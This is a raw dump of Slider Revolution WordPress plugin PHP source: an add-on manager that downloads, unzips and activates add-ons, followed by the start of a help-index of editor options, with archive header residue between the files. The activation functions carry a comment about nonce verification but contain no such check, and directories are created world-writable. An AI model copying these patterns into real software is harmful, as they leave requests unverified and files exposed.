'revslider-refresh-addon' => '3.0.0', 'revslider-revealer-addon' => '3.0.0', 'revslider-scrollvideo-addon' => '3.0.0', 'revslider-sharing-addon' => '3.0.0', 'revslider-slicey-addon' => '3.0.0', 'revslider-snow-addon' => '3.0.0', 'revslider-typewriter-addon' => '3.0.0', 'revslider-weather-addon' => '2.0.0', 'revslider-whiteboard-addon' => '3.0.0', ); public function __construct(){ include_once(ABSPATH . 'wp-admin/includes/plugin.php'); } /** * get all the addons with information **/ public function get_addon_list(){ $addons = get_option('revslider-addons'); $addons = (array)$addons; $addons = array_reverse($addons, true); $plugins = get_plugins(); if(!empty($addons)){ foreach($addons as $k => $addon){ if(!is_object($addon)) continue; if(array_key_exists($addon->slug.'/'.$addon->slug.'.php', $plugins)){ $addons[$k]->full_title = $plugins[$addon->slug.'/'.$addon->slug.'.php']['Name']; $addons[$k]->active = is_plugin_active($addon->slug.'/'.$addon->slug.'.php'); $addons[$k]->installed = $plugins[$addon->slug.'/'.$addon->slug.'.php']['Version']; }else{ $addons[$k]->active = false; $addons[$k]->installed = false; } } } return $addons; } /** * get a specific addon version **/ public function get_addon_version($handle){ $list = $this->get_addon_list(); return $this->get_val($list, array($handle, 'installed'), false); } /** * check if any addon is below version x (for RS6.0 this is version 2.0) * if yes give a message that tells to update **/ public function check_addon_version(){ $rs_addons = $this->get_addon_list(); $update = array(); if(!empty($rs_addons)){ foreach($rs_addons as $handle => $addon){ $installed = $this->get_val($addon, 'installed'); if(trim($installed) === '') continue; if($this->get_val($addon, 'active', false) === false) continue; $version = $this->get_val($this->addon_version_required, $handle, false); if($version !== false && version_compare($installed, $version, '<')){ $available = (version_compare($version, $this->get_val($addon, 'available'), '>')) ? $version : $this->get_val($addon, 'available'); $update[$handle] = array( 'title' => $this->get_val($addon, 'full_title'), 'old' => $installed, 'new' => $available, 'status'=> '1' //1 is mandatory to use it ); } } } return $update; } /** * Install Add-On/Plugin * * @since 6.0 */ public function install_addon($addon, $force = false){ if(get_option('revslider-valid', 'false') !== 'true') return __('Please activate Slider Revolution', 'revslider'); //check if downloaded already $plugins = get_plugins(); $addon_path = $addon.'/'.$addon.'.php'; if(!array_key_exists($addon_path, $plugins) || $force == true || !file_exists(WP_PLUGIN_DIR.'/'.$addon_path)){ //download if nessecary return $this->download_addon($addon); } //activate $activate = $this->activate_addon($addon_path); return $activate; } /** * Download Add-On/Plugin * * @since 1.0.0 */ public function download_addon($addon){ global $rslb; if(get_option('revslider-valid', 'false') !== 'true') return __('Please activate Slider Revolution', 'revslider'); $plugin_slug = basename($addon); if(0 !== strpos($plugin_slug, 'revslider-')) die( '-1' ); $code = get_option('revslider-code', ''); $done = false; $count = 0; $rattr = array( 'code' => urlencode($code), 'version' => urlencode(RS_REVISION), 'product' => urlencode(RS_PLUGIN_SLUG), 'type' => urlencode($plugin_slug) ); do{ $url = 'addons/'.$plugin_slug.'/download.php'; $get = $rslb->call_url($url, $rattr, 'updates'); if(wp_remote_retrieve_response_code($get) == 200){ $done = true; }else{ $rslb->move_server_list(); } $count++; }while($done == false && $count < 5); if($get && $get['body'] != 'invalid' && wp_remote_retrieve_response_code($get) == 200){ $upload_dir = wp_upload_dir(); $file = $upload_dir['basedir']. '/revslider/templates/' . $plugin_slug . '.zip'; @mkdir(dirname($file), 0777, true); $ret = @file_put_contents($file, $get['body']); require_once(ABSPATH . 'wp-admin/includes/class-wp-filesystem-base.php'); require_once(ABSPATH . 'wp-admin/includes/class-wp-filesystem-direct.php'); $fsd = new WP_Filesystem_Direct(false); WP_Filesystem(); global $wp_filesystem; $upload_dir = wp_upload_dir(); $d_path = WP_PLUGIN_DIR; $fsd->rmdir($d_path . '/' . $plugin_slug, true); //remove the addon folder if exists $unzipfile = unzip_file($file, $d_path); if(is_wp_error($unzipfile)){ define('FS_METHOD', 'direct'); //lets try direct. WP_Filesystem(); //WP_Filesystem() needs to be called again since now we use direct ! //@chmod($file, 0775); $unzipfile = unzip_file($file, $d_path); if(is_wp_error($unzipfile)){ $d_path = WP_PLUGIN_DIR; $unzipfile = unzip_file($file, $d_path); if(is_wp_error($unzipfile)){ $f = basename($file); $d_path = str_replace($f, '', $file); $unzipfile = unzip_file($file, $d_path); } } } @unlink($file); return true; } //$result = activate_plugin( $plugin_slug.'/'.$plugin_slug.'.php' ); return false; } /** * Activates Installed Add-On/Plugin * * @since 1.0.0 */ public function activate_addon($addon){ // Verify that the incoming request is coming with the security nonce if(isset($addon)){ $result = activate_plugin($addon); if(is_wp_error($result)){ // Process Error return false; } }else{ return false; } return true; } /** * Deactivates Installed Add-On/Plugin * * @since 1.0.0 */ public function deactivate_addon($addon){ // Verify that the incoming request is coming with the security nonce deactivate_plugins($addon); return true; } } class Rev_addon_Admin extends RevSliderAddons {}admin/includes/help.class.php000060400002241011151724235750012217 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); class RevSliderHelp { /** * @return array */ public static function getIndex() { $translations = array( 'docs' => __('Docs', 'revsliderhelp'), 'tutorial' => __('Tutorial', 'revsliderhelp'), 'helpDirectory' => __('Help Directory', 'revsliderhelp'), 'supportCenter' => __('Support Center', 'revsliderhelp'), 'searchPlaceholder' => __('Search for an Option', 'revsliderhelp'), 'tutorials' => __('Tutorials', 'revsliderhelp'), 'slider' => __('Slider', 'revsliderhelp'), 'navigation' => __('Navigation', 'revsliderhelp'), 'slide' => __('Slide', 'revsliderhelp'), 'layer' => __('Layer', 'revsliderhelp'), 'settings' => __('Settings', 'revsliderhelp'), 'helpMode' => __('Help Mode', 'revsliderhelp'), 'hoverTip' => __('Hover your mouse over any option to learn more.', 'revsliderhelp'), 'viewDocs' => __('Documentation', 'revsliderhelp'), 'showOption' => __('Show Option', 'revsliderhelp'), 'option' => __('Option', 'revsliderhelp'), 'options' => __('Options', 'revsliderhelp'), 'faqs' => __('FAQs', 'revsliderhelp'), 'search' => __('Search Keywords, e.g. "Background"', 'revsliderhelp'), 'instructions' => __('Hover over any option to learn more', 'revsliderhelp'), 'selectresult' => __('Select a Search Result') ); $u = 'https://www.themepunch.com/slider-revolution/'; $fu = 'https://www.themepunch.com/faq/'; $t = 'title'; $h = 'helpPath'; $k = 'keywords'; $d = 'description'; $a = 'article'; $s = 'section'; $hl = 'highlight'; $m = 'menu'; $st = 'scrollTo'; $f = 'focus'; $d = 'description'; $di = 'dependency_id'; $dp = 'dependencies'; $p = 'path'; $v = 'value'; $o = 'option'; $helpindex = array( 'general_how_to' => array( 'responsive_setup' => array( 'activate_responsive_viewports' => array( $t => __("Activate Responsive Viewports", 'revsliderhelp'), $h => 'faq', $k => array("respon", "responsive", "viewport", "viewports", "responsive viewports", "breakpoints", "break points", "desktop", "notebook", "laptop", "mobile", "phone", "iphone", "smartphone", "smart phone"), $d => __("Enable multiple stage sizes for custom set responsive content", 'revsliderhelp'), $a => $fu . "responsive-content/", $hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_bpoints', $f => "#sr_custom_n") ), 'responsive_grid_sizes' => array( $t => __("Responsive Grid Sizes", 'revsliderhelp'), $h => 'faq', $k => array("respon", "responsive", "viewport", "grid sizes", "desktop", "notebook", "laptop", "mobile", "phone", "iphone", "smartphone", "smart phone"), $d => __("Define custom grid widths and heights per device/viewport", 'revsliderhelp'), $a => $fu . "responsive-content/#breakpoints", $hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_bpoints', $f => "#sr_size_width_d") ), 'content_size_position' => array( $t => __("Content Size/Position", 'revsliderhelp'), $h => 'faq', $k => array("respon", "responsive", "content", "size", "position", "desktop", "notebook", "laptop", "mobile", "phone", "iphone", "smartphone", "smart phone"), $d => __("Modify font size and layer position per device", 'revsliderhelp'), $a => $fu . "incorrect-size-or-position/", $hl => array($dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_2", $st => '#form_layerposition_basic', $f => "#layer_pos_x") ), 'layers_responsive_behavior' => array( $t => __("Layers Responsive Behavior", 'revsliderhelp'), $h => 'doc', $k => array("respon", "responsive", "layer", "layers", "content", "behavior", "desktop", "notebook", "laptop", "mobile", "phone", "iphone", "smartphone", "smart phone"), $d => __("Responsive alignment and positioning", 'revsliderhelp'), $a => $u . "responsive-settings/", $hl => array($dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_13", $st => '#form_layerposition_basic', $f => "#layer_behavior_intelSize") ), 'layers_mobile_visibility' => array( $t => __("Layers Mobile Visibility", 'revsliderhelp'), $h => 'doc', $k => array("respon", "responsive", "layer", "layers", "content", "visibility", "desktop", "notebook", "laptop", "mobile", "phone", "iphone", "smartphone", "smart phone"), $d => __("Disable slider on mobile, hide layer content below screen size", 'revsliderhelp'), $a => $u . "responsive-settings/#device-visibility", $hl => array($dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_13", $st => '#form_layercontent_visibility', $f => "*[data-r='visibility.m']") ), 'responsive_text_images' => array( $t => __("Responsive Text/Images", 'revsliderhelp'), $h => 'doc', $k => array("respon", "responsive", "layer", "layers", "text", "image", "images", "desktop", "notebook", "laptop", "mobile", "phone", "iphone", "smartphone", "smart phone"), $d => __("Adjust the size of text and images for each reponsive viewport", 'revsliderhelp'), $a => $u . "size-position/#responsive", $hl => array($dp => array('layerselected::text||button||image'), $m => "#module_layers_trigger, #gst_layer_3", $st => '#form_layerstyle_font', $f => "#layer_font_size_idle") ) ), 'slide_management' => array( 'add_new_slide' => array( $t => __("Add New Slide", 'revsliderhelp'), $h => 'doc', $k => array("slide", "slides", "add slide", "new slide", "slide template", "template", "blank slide", "bulk slide", "blank", "bulk"), $d => __("add/duplicate/delete Slides", 'revsliderhelp'), $a => $u . "slide-management/#add-new-slide", $hl => array($dp => array('addslide')) ), 'slide_order' => array( $t => __("Change Slide Order", 'revsliderhelp'), $h => 'doc', $k => array("slide", "slide order", "order", "ordering"), $d => __("Change the order in which the Slides appear", 'revsliderhelp'), $a => $u . "slide-management/#switch-reorder-slides", $hl => array($dp => array('slideorder')) ) ), 'add_edit_content' => array( 'change_background' => array( $t => __("Set/Change Slide Background", 'revsliderhelp'), $h => 'doc', $k => array("slide", "slide settings", "background", "bg", "image", "images", "color", "video", "image background"), $d => __("Set the Slide's Main background to a color, image or video", 'revsliderhelp'), $a => $u . "slide-background/", $hl => array($m => "#module_slide_trigger, #gst_slide_1", $st => '#form_slidebg_source', $f => "#slide_bg_type") ), 'change_slider_background' => array( $t => __("Set/Change Module Background", 'revsliderhelp'), $h => 'doc', $k => array("slide", "slide settings", "background", "bg", "image", "images", "color", "video", "image background"), $d => __("Set the Module's Main background to a color, image or video", 'revsliderhelp'), $a => $u . "module-layout/#module-background", $hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_decmobg', $f => "#sliderbgcolor") ), 'change_layer_background' => array( $t => __("Set/Change Layer Background", 'revsliderhelp'), $h => 'doc', $k => array("slide", "slide settings", "background", "bg", "image", "images", "color", "video", "image background"), $d => __("Set a Layer's Main background to a color, image or video", 'revsliderhelp'), $a => $u . "font-colors-styling/#background", $hl => array($dp => array('layerselected'), $m => '#module_layers_trigger, #gst_layer_3', $st => '#form_layerstyle_bg', $f => "#layerBGColor") ), 'edit_content' => array( $t => __("Edit Content Layers", 'revsliderhelp'), $h => 'doc', $k => array("edit", "change", "style", "styles", "position", "size", "responsive"), $d => __("Edit text, images, videos, styles, position and size for your content", 'revsliderhelp'), $a => $u . "layer-content/#edit-set-content", $hl => array($dp => array('layerselected'), $m => '#module_layers_trigger, #gst_layer_1', $st => '#form_layer_content', $f => "#ta_layertext, #layer_htmltag, *[data-r='media.videoFromStream'], #layer_mpegaudio_src") ), 'add_new_layer' => array( $t => __("Add New Layer", 'revsliderhelp'), $h => 'doc', $k => array("layer", "layers", "add layer", "new layer", "import layer", "text", "image", "images", "video", "vimeo", "youtube", "you tube", "audio", "icon", "svg", "button", "shape", "row", "group"), $d => __("Add a variety of content to your Slides", 'revsliderhelp'), $a => $u . "layer-content/#add-new-layer", $hl => array($dp => array('addlayer')) ), 'global_layers' => array( $t => __("Global Layers", 'revsliderhelp'), $h => 'doc', $k => array("global", "static", "global layers", "static layers", "layers", "always visible", "always show"), $d => __("Add/Edit content that's meant to always be visible", 'revsliderhelp'), $a => $u . "global-layers/", $hl => array($dp => array('staticlayers')) ) ), 'animations' => array( 'slide_animations' => array( $t => __("Slide Animations", 'revsliderhelp'), $h => 'doc', $k => array("animation", "animations", "transition", "transitions", "slide animation", "slide animations", "slide transition", "slide transitions"), $d => __("60+ pre-built animations, animation duration, easing", 'revsliderhelp'), $a => $u . "slide-animation/", $hl => array($m => '#module_slide_trigger, #gst_slide_2', $st => '#form_slidebg_transition', $f => ".added_slide_transition.selected") ), 'layer_animations' => array( $t => __("Layer Animations", 'revsliderhelp'), $h => 'doc', $k => array("animation", "animations", "transition", "transitions", "layer animation", "layer animations", "layer transition", "layer transitions"), $d => __("Start/End animation timing and easing", 'revsliderhelp'), $a => $u . "layer-animations/", $hl => array($dp => array('layerselected'), $m => '#module_layers_trigger, #gst_layer_4', $st => '#form_animation_sframes', $f => ".frame_list_id") ) ), 'navigation_links' => array( 'enable_navigation' => array( $t => __("Enable/Disable Navigation", 'revsliderhelp'), $h => 'doc', $k => array("navigation", "add navigation", "enable navigation", "remove navigation", "disable navigation", "thumbs", "thumbnails", "tabs", "arrows", "bullets", "touch"), $d => __("Learn how to add/remove navigation elements to control the Slider", 'revsliderhelp'), $a => $u . "navigation-arrows/", $hl => array( $dp => array(array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard')), $m => "#module_navigation_trigger, #gst_nav_2", $st => '#form_nav_arrows_mainstyle', $f => "#sr_usenavarrow" ) ), 'links' => array( $t => __("Add/Remove Links", 'revsliderhelp'), $h => 'doc', $k => array("link", "links", "add link", "add links", "remove link", "remove links", "delete link", "delete links", "hyperlink", "external link"), $d => __("Add/Remove links to additional slides, other web pages/posts or external websites", 'revsliderhelp'), $a => $u . "simple-link/", $hl => array($m => '#module_slide_trigger, #gst_slide_4', $st => '#form_slidegeneral_linkseo', $f => "#sl_seo_set") ) ), 'addon_extentions' => array( 'activate_enable' => array( $t => __("Active/Enable Addons", 'revsliderhelp'), $h => 'doc', $k => array("addon", "addons", "extentions", "enable addon", "enable addons", "activate addon", "activate addons"), $d => __("Learn how to activate an AddOn for the Slider", 'revsliderhelp'), $a => $u . "enable-addons/", $hl => array($m => '#module_settings_trigger, #gst_sl_9', 'modal' => 'addons') ), 'how_to_use' => array( $t => __("How To Use", 'revsliderhelp'), $h => 'doc', $k => array("addon", "addons", "extentions", "addon settings"), $d => __("AddOn Settings will be located in the Slider, Slide or Layer settings depending on the AddOns functionality", 'revsliderhelp'), $a => $u . "addon-guides/", ) ) ), 'editor_settings' => array( 'slider_settings' => array( 'gst_sl_1' => array( $t => array( $t => __("Slider Title", 'revsliderhelp'), $h => "title", $k => array("slider", "title", "name", "naming"), $d => __("Set the title of the Slider for admin/editing purposes", 'revsliderhelp'), $a => $u . "module-title-shortcode/", $hl => array($m => '#module_settings_trigger, #gst_sl_1', $st => '#form_module_title', $f => "#sr_title") ), 'alias' => array( $t => __("Slider Alias", 'revsliderhelp'), $h => "alias", $k => array("slider", "alias", "shortcode"), $d => __("The slider's alias is used to define a unique shortcode", 'revsliderhelp'), $a => $u . "module-title-shortcode/", $hl => array($m => '#module_settings_trigger, #gst_sl_1', $st => '#form_module_title', $f => "#sr_alias") ), 'shortcode' => array( $t => __("Slider Shortcode", 'revsliderhelp'), $h => "shortcode", $k => array("slider", "shortcode", "slider shortcode"), $d => __("Place the shortcode on the page or post where you want to show this module", 'revsliderhelp'), $a => $u . "module-title-shortcode/", $hl => array($m => '#module_settings_trigger, #gst_sl_1', $st => '#form_module_title', $f => "#sr_shortcode") ) ), 'gst_sl_2' => array( 'type' => array( 'standard' => array( $di => "slider_layout_type_standard", $t => __("Standard Slider", 'revsliderhelp'), $h => "type.standard", $k => array("slider", "slider layout", "layout", "type", "scene", "hero", "carousel"), $d => __("A Slider that can have multiple slides with navigation", 'revsliderhelp'), $a => $u . "module-layout/", $hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_sliderlayout', $f => "input[name=slidertype][value=standard]") ), 'hero' => array( $t => __("Hero Scene", 'revsliderhelp'), $h => "type.hero", $k => array("slider", "slider layout", "layout", "type", "scene", "hero", "carousel"), $d => __("A single-slide Slider with no navigation", 'revsliderhelp'), $a => $u . "module-layout//", $hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_sliderlayout', $f => "input[name=slidertype][value=hero]") ), 'carousel' => array( $di => "slider_layout_type_carousel", $t => __("Carousel", 'revsliderhelp'), $h => "type.carousel", $k => array("slider", "slider layout", "layout", "type", "scene", "hero", "carousel"), $d => __("Display the Slider as a traditional Carousel", 'revsliderhelp'), $a => $u . "module-layout/", $hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_sliderlayout', $f => "input[name=slidertype][value=carousel]") ), ), 'sizing' => array( 'auto' => array( $t => __("Auto", 'revsliderhelp'), $h => "layouttype.auto", $k => array("slider", "slider sizing", "responsive", "respon", "sizing", "auto"), $d => __("Size will adapt to the same size as the web page's content", 'revsliderhelp'), $a => $u . "module-layout/", $hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_sliderlayout', $f => "input[name=sliderlayouttype][value=auto]") ), 'fullwidth' => array( $t => __("Full Width", 'revsliderhelp'), $h => "layouttype.fullwidth", $k => array("slider", "slider sizing", "responsive", "respon", "sizing", "full width", "full-width", "fullwidth"), $d => __("Display the Slider 100% width across the page", 'revsliderhelp'), $a => $u . "module-layout/", $hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_sliderlayout', $f => "input[name=sliderlayouttype][value=fullwidth]") ), 'fullscreen' => array( $di => "slider_layouttype_fullscreen", $t => __("Full Screen", 'revsliderhelp'), $h => "layouttype.fullscreen", $k => array("slider", "slider sizing", "responsive", "respon", "sizing", "full screen", "full-screen", "fullscreen"), $d => __("Display the Slider at 100% width and height", 'revsliderhelp'), $a => $u . "module-layout/", $hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_sliderlayout', $f => "input[name=sliderlayouttype][value=fullscreen]") ), 'advanced' => array( 'max_width' => array( $t => __("Max Width", 'revsliderhelp'), $h => "size.maxWidth", $k => array("max", "max width", "sizing", "layout"), $d => __("Optional maximum width for the Slider", 'revsliderhelp'), $a => $u . "module-layout/", $hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_adv', $f => "#sr_size_maxwidth") ), 'min_height' => array( $t => __("Min Height", 'revsliderhelp'), $h => "size.minHeight", $k => array("min", "min height", "sizing", "layout"), $d => __("Optional minimum height for the Slider", 'revsliderhelp'), $a => $u . "module-layout/", $hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_adv', $f => "#sr_size_minheight") ), 'max_height' => array( $t => __("Max Height", 'revsliderhelp'), $h => "size.maxHeight", $k => array("max", "max height", "sizing", "layout"), $d => __("Optional maximum height for the Slider", 'revsliderhelp'), $a => $u . "module-layout/", $hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_adv', $f => "#sr_size_maxheight") ), 'breakpoint_heights' => array( $t => __("Keep Breakpoint Heights", 'revsliderhelp'), $h => "size.keepBPHeight", $k => array("breakpoints", "height", "heights", "breakpoint", "responsive"), $d => __("If enabled the Slider's height will always equal the viewport's breakpoint height", 'revsliderhelp'), $a => $u . "module-layout/", $hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_adv', $f => "#sr_breakpoint_heights") ), 'aspect_ratio' => array( $t => __("Respect Aspect Ratio", 'revsliderhelp'), $h => "size.respectAspectRatio", $k => array("ratio", "aspect", "aspect ratio", "lock"), $d => __("Activates a responsive height for the Slider", 'revsliderhelp'), $a => $u . "module-layout/", $hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_adv', $f => "#sr_respectAR") ), 'grid_equals_module' => array( $t => __("Grid = Module", 'revsliderhelp'), $h => "size.layersAlignOnModule", $k => array("ratio", "aspect", "aspect ratio", "grid", "module"), $d => __("The default align behavior for Layers. If enabled, Layers will be aligned to the entire Module and if disabled Layers will align to the device breakpoint grid area.", 'revsliderhelp'), $a => $u . "module-layout/", $hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_adv', $f => "#sr_layersAlignOnModule") ), 'force_overflow' => array( $t => __("Force Overflow", 'revsliderhelp'), $h => "size.forceOverflow", $k => array("ratio", "aspect", "aspect ratio", "overflow"), $d => __("Allow for content to be visible outside the Slider's bounding box", 'revsliderhelp'), $a => $u . "module-layout/", $hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_adv', $f => "#sr_forceOvVi") ), 'fixed_top' => array( $t => __("Fixed on Top", 'revsliderhelp'), $h => "layout.position.fixedOnTop", $k => array("ratio", "aspect", "aspect ratio", "overflow"), $d => __("The module will be positioned at the top of the screen at all times. Useful for creating sticky menus.", 'revsliderhelp'), $a => $u . "module-layout/", $hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_adv', $f => '*[data-r="layout.position.fixedOnTop"]') ), 'theperspective' => array( $t => __("Global 3D Perspective", 'revsliderhelp'), $h => "general.perspectiveType", $k => array("perspective", "isometric", "3D", "3d"), $d => __("Defines the Perspective by the 3D rendering of layers. This can be set globally (3D Uniset) for better and easier handling or individuel (3D Individual) on each single layer frames. We recommend to do this globally. The Special option Isometric will set the perspective to 0 automatically", 'revsliderhelp'), $a => $u . "module-layout/", $hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_adv', $f => '*[data-r="layout.general.perspectiveType"]') ), 'theperspective_value' => array( $t => __("Global 3D Layer Perspective", 'revsliderhelp'), $h => "general.perspective", $k => array("perspective", "isometric", "3D", "3d","layer perspective"), $d => __("Defines the Perspective by the 3D rendering of layers globally.", 'revsliderhelp'), $a => $u . "module-layout/", $hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_adv', $f => '*[data-r="layout.general.perspective"]') ), ), 'slider_wrapper_position' => array( 'align' => array( $t => __("Slider Alignment", 'revsliderhelp'), $h => "layout.position.align", $k => array("align", "slider align", "position", "slider position", "wrapper"), $d => __("Align the Slider to the left, center or right inside its parent container", 'revsliderhelp'), $a => $u . "module-general-settings/", $hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slidergeneral_general_sr_position', $f => "*[name='slider_pos_in_wrapper']{first}") ), 'margin_top' => array( $t => __("Margin Top", 'revsliderhelp'), $h => "layout.position.marginTop", $k => array("margin", "margin top", "top margin", "slider margin"), $d => __("Apply a top margin to the Slider (px)", 'revsliderhelp'), $a => $u . "module-general-settings/", $hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slidergeneral_general_sr_position', $f => "#sr_pos_marg_top") ), 'margin_bottom' => array( $t => __("Margin Bottom", 'revsliderhelp'), $h => "layout.position.marginBottom", $k => array("margin", "margin bottom", "bottom margin", "slider margin"), $d => __("Apply a bottom margin to the Slider (px)", 'revsliderhelp'), $a => $u . "module-general-settings/", $hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slidergeneral_general_sr_position', $f => "#sr_pos_marg_bottom") ) ), 'full_screen_offset' => array( 'offset_container' => array( $t => __("Offset Container", 'revsliderhelp'), $h => "size.fullScreenOffsetContainer", $k => array("fullscreen", "offset", "offset container", "decrease"), $d => __("Useful for allocating space for a page's menu or footer. Accepts a jQuery selector such as '.menu' or 'footer'.", 'revsliderhelp'), $a => $u . "module-layout/", $hl => array( $dp => array(array($p => 'settings.layouttype', $v => 'fullscreen', $o => 'slider_layouttype_fullscreen')), $m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_decmohei', $f => "#sr_fs_height__decrease_cont" ) ), 'offset_value' => array( $t => __("Offset px/%", 'revsliderhelp'), $h => "size.fullScreenOffset", $k => array("fullscreen", "offset", "offset container", "decrease"), $d => __("Useful for allocating space for a page's menu or footer. Enter a px or % value.", 'revsliderhelp'), $a => $u . "module-layout/", $hl => array( $dp => array(array($p => 'settings.layouttype', $v => 'fullscreen', $o => 'slider_layouttype_fullscreen')), $m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_decmohei', $f => "#sr_fs_height_decrease" ) ), 'no_force_fullwidth' => array( $t => __("Don't Force Fullwidth", 'revsliderhelp'), $h => "size.disableForceFullWidth", $k => array("full width", "fullwidth", "force"), $d => __("If enabled, the Module's width will remain the same as its immediate parent container", 'revsliderhelp'), $a => $u . "module-layout/", $hl => array( $dp => array(array($p => 'settings.layouttype', $v => 'fullscreen', $o => 'slider_layouttype_fullscreen')), $m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_decmohei', $f => "#sr_keepautowidth" ) ) ) ), 'responsive_breakpoints' => array( 'desktop' => array( 'enable' => array( $t => __("Desktop Viewport", 'revsliderhelp'), $h => "size.custom.d", $k => array(), $d => __("The default viewport. This option will always be enabled", 'revsliderhelp'), $a => $u . "module-layout/#breakpoints", $hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_bpoints', $f => "*[data-helpkey='size.custom.d']") ), 'width' => array( $t => __("Desktop Width", 'revsliderhelp'), $h => "size.width.d", $k => array("respon", "responsive", "slider size", "slider width", "desktop", "desktop width", "viewport", "view", "grid", "grid width", "grid size"), $d => __("The responsive grid width (in pixels) for the Desktop viewport", 'revsliderhelp'), $a => $u . "module-layout/#breakpoints", $hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_bpoints', $f => "#sr_size_width_d") ), 'height' => array( $t => __("Desktop Height", 'revsliderhelp'), $h => "size.height.d", $k => array("respon", "responsive", "slider size", "slider height", "desktop", "desktop height", "viewport", "view", "grid", "grid height", "grid size"), $d => __("The responsive grid height (in pixels) for the Desktop viewport", 'revsliderhelp'), $a => $u . "module-layout/#breakpoints", $hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_bpoints', $f => "#sr_size_height_d") ), ), 'laptop' => array( 'enable' => array( $t => __("Laptop Viewport", 'revsliderhelp'), $h => "size.custom.n", $k => array("respon", "responsive", "slider size", "notebook", "laptop", "viewport", "view", "grid", "grid size"), $d => __("Enable the Laptop responsive viewport", 'revsliderhelp'), $a => $u . "module-layout/#breakpoints", $hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_bpoints', $f => "#sr_custom_n") ), 'width' => array( $t => __("Laptop Width", 'revsliderhelp'), $h => "size.width.n", $k => array("respon", "responsive", "slider size", "slider width", "notebook", "notebook width", "laptop", "laptop width", "viewport", "view", "grid", "grid width", "grid size"), $d => __("The responsive grid width (in pixels) for the Laptop viewport", 'revsliderhelp'), $a => $u . "module-layout/#breakpoints", $hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_bpoints', $f => "#sr_size_width_n") ), 'height' => array( $t => __("Laptop Height", 'revsliderhelp'), $h => "size.height.n", $k => array("respon", "responsive", "slider size", "slider height", "notebook", "notebook height", "laptop", "laptop height", "viewport", "view", "grid", "grid height", "grid size"), $d => __("The responsive grid height (in pixels) for the Laptop viewport", 'revsliderhelp'), $a => $u . "module-layout/#breakpoints", $hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_bpoints', $f => "#sr_size_height_n") ), ), 'tablet' => array( 'enable' => array( $t => __("Tablet Viewport", 'revsliderhelp'), $h => "size.custom.t", $k => array("respon", "responsive", "slider size", "tablet", "ipad", "viewport", "view", "grid", "grid size"), $d => __("Enable the Tablet responsive viewport", 'revsliderhelp'), $a => $u . "module-layout/#breakpoints", $hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_bpoints', $f => "#sr_custom_t") ), 'width' => array( $t => __("Tablet Width", 'revsliderhelp'), $h => "size.width.t", $k => array("respon", "responsive", "slider size", "slider width", "ipad", "tablet", "tablet width", "viewport", "view", "grid", "grid width", "grid size"), $d => __("The responsive grid width (in pixels) for the Tablet viewport", 'revsliderhelp'), $a => $u . "module-layout/#breakpoints", $hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_bpoints', $f => "#sr_size_width_t") ), 'height' => array( $t => __("Tablet Height", 'revsliderhelp'), $h => "size.height.t", $k => array("respon", "responsive", "slider size", "slider height", "ipad", "tablet", "tablet height", "viewport", "view", "grid", "grid height", "grid size"), $d => __("The responsive grid height (in pixels) for the Tablet viewport", 'revsliderhelp'), $a => $u . "module-layout/#breakpoints", $hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_bpoints', $f => "#sr_size_height_t") ), ), 'phone' => array( 'enable' => array( $t => __("Phone Viewport", 'revsliderhelp'), $h => "size.custom.m", $k => array("respon", "responsive", "slider size", "phone", "iphone", "viewport", "view", "grid", "grid size"), $d => __("Enable the Phone responsive viewport", 'revsliderhelp'), $a => $u . "module-layout/#breakpoints", $hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_bpoints', $f => "#sr_custom_m") ), 'width' => array( $t => __("Tablet Width", 'revsliderhelp'), $h => "size.width.m", $k => array("respon", "responsive", "slider size", "slider width", "iphone", "iphone width", "phone", "phone width", "smart", "smartphone", "smartphone width", "smart phone", "smart phone width", "viewport", "view", "grid", "grid width", "grid size"), $d => __("The responsive grid width (in pixels) for the Tablet viewport", 'revsliderhelp'), $a => $u . "module-layout/#breakpoints", $hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_bpoints', $f => 